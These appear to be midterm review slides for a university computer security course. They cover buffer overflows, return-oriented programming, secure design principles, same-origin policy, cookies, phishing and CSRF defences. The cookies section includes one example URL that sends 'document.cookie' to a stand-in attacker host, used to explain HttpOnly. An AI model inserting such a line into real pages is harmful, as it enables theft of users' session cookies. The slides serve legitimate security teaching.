
CSE 127 Midterm Review



Any questions on PA2?



Midterm Logistics
- Time : 05/05 -> 6:30 PM to 7:50 PM

- Number of questions : Around 10 questions

- Where is it available : Gradescope

- Question format : Multiple choice, short answer, long answer

- Open book

- Camera on

- Instructor and TAs will be available on Piazza for questions



Topics
Security Properties : 

- Confidentiality 

- Integrity

- Availability

- Privacy

- Authenticity

Buffer overflow : 

- Stack 

- Heap

- Valgrind

- Dangling Pointer

- Memory Leak

Memory Safety : 

- Return oriented 

Programming 

- Principles of secure system 

design

- Least Privilege

- Privilege separation

- Complete mediation

- Failsafe/closed

- Defence-in-depth

- Keep-it-simple

Web Model : 

- Same origin Policy 

- Cookies

- Document Object 

Model (DOM)

Web Attacks : 

- Phishing 

- Cross Site Request 

Forgery



Security Properties
Think about what assets are we trying to protect?

● Password (hashes): Secret code for authentication. 

● Emails: System for sending and receiving messages electronically. 

● Browsing history: Pages visited, useful for web marketing and forensics.



Security Properties
What properties are we trying to enforce? (CIA triad)

● Confidentiality: Protect sensitive and private information from unauthorized use.

● Integrity: Protect data from deletion or modification from any unauthorized party.

● Availability: Refers to the actual availability of information. 

● Privacy: Protect sensitive information, such as personally identifiable information, 

etc. 

● Authenticity: Proven fact that something is legitimate or real.



Buffer Overflows
● What is a buffer overflow?

● What assumptions do buffer overflows violate?

● Where do buffer overflows typically occur and why?

● What is the problem with gets() and strcpy() ?



Buffer overflows
What are different ways to exploit a buffer overflow?

● Format String vulnerabilities

● Heap vulnerabilities

● Integers







Valgrind
Helps with memory debugging and memory leak problems.

The Valgrind tool suite provides a number of debugging and profiling tools that help 

you make your programs faster and more correct.



Dangling Pointers
Pointer Points to a location which no longer exists.



Memory Leaks
Memory in heap that can no longer be accessed



Memory Safety
● Return Oriented Programming

● Principles of secure system design



Return Oriented Programming
● Why do we need return oriented programming? What does it help us do?

○ Perform exploits in the face of W^X (DEP)

● Make complex shellcode out of existing application code

○ Call these gadgets

○ Where can you find the gadgets?

■ From executable pages in memory (app code, libc, other libraries)

○ Where can you “stitch” these gadgets together?

■ Stack

○ What’s the prerequisite?

■ A memory bug

● How can we defend ROP?

○ Control Flow Integrity

○ Type-safe/memory-safe languages



Principles of secure system design
● Least Privilege

○ Faculty can only change grades for classes they teach

● Privilege separation

○ Multi-user operating system

● Complete mediation

○ Software fault isolation (SFI)

● Failsafe/closed

○ System call

● Defence-in-depth

● Keep-it-simple

○ Keeping the Trusted Computing Base (TCB) small and simple



Web Model
● Same-Origin Policy

● Cookies

● Document Object Model (DOM)



Same-Origin Policy
● Web security is built around Same-Origin Policy

○ Resources from the same origin are assumed to trust each other

● What's an origin?

○ <scheme, domain, port>

● Things from different origins shouldn't be able to see each other's properties

○ Cookies(use slightly different definition of origin)

○ DOM elements

○ Javascript

● Enforcement: Browser

○ Compromise the entire browser -> violate SOP



Cookies
● What are cookies?

○ Key/Value pairs associated with websites

○ Sent by browser when an HTTP request is made

● Websites use these to store state e.g logged-in state

○ Leaking these across websites is very bad!

● Leaking cookies:

○ Javascript running on page can access cookie!

■ Javascript runs with the privileges of the page

○ Can leak via HTTP request

■ http://evil.com/?cookies=document.cookie

○ Partial solutions: HttpOnly cookie

■ Cookie not exposed via Javascript



Document Object Model (DOM)
● Maps HTML elements to Javascript Objects

○ You can modify elements on page using Javascript

● Browsers create DOM by parsing HTML

○ Parsing is done very loosely

○ Some part of HTML might be controlled by users (HTML/Javascript injection)

○ Don’t hide secrets in HTML

● Memory bugs are not extinct

○ There are bugs in Javascript engines



Web Attacks
● Phishing

● Cross Site Request Forgery (CSRF)



Phishing
● Spear phishing: targeting a specific individual

● Whaling: targeting important people

● Smishing: using text messages or SMS

● Email phishing: targeting much larger population



Phishing Mitigations
● Education

○ Learn to recognize all the tell-tale signs

○ Always check suspicious emails

○ Use proper email security

● Use multifactor authentication (MFA)

● Consider advanced password solutions



Cross Site Request Forgery (CSRF)
● Attacker makes a request to another website

● Browser sends cookies along with request

○ What might attacker be able to do?



Cross Site Request Forgery (CSRF) Defenses
● CSRF token

○ Random token that needs to be passed in requests

○ Attacker doesn't know token, so cannot make valid request

○ SOP prevents attacker from knowing token

● SameSite cookies

○ Strict: Browser will only sent SameSite cookies to requests that originate from same site

● Fetch Metadata

○ Gives the server metadata of the request sender



Good luck!


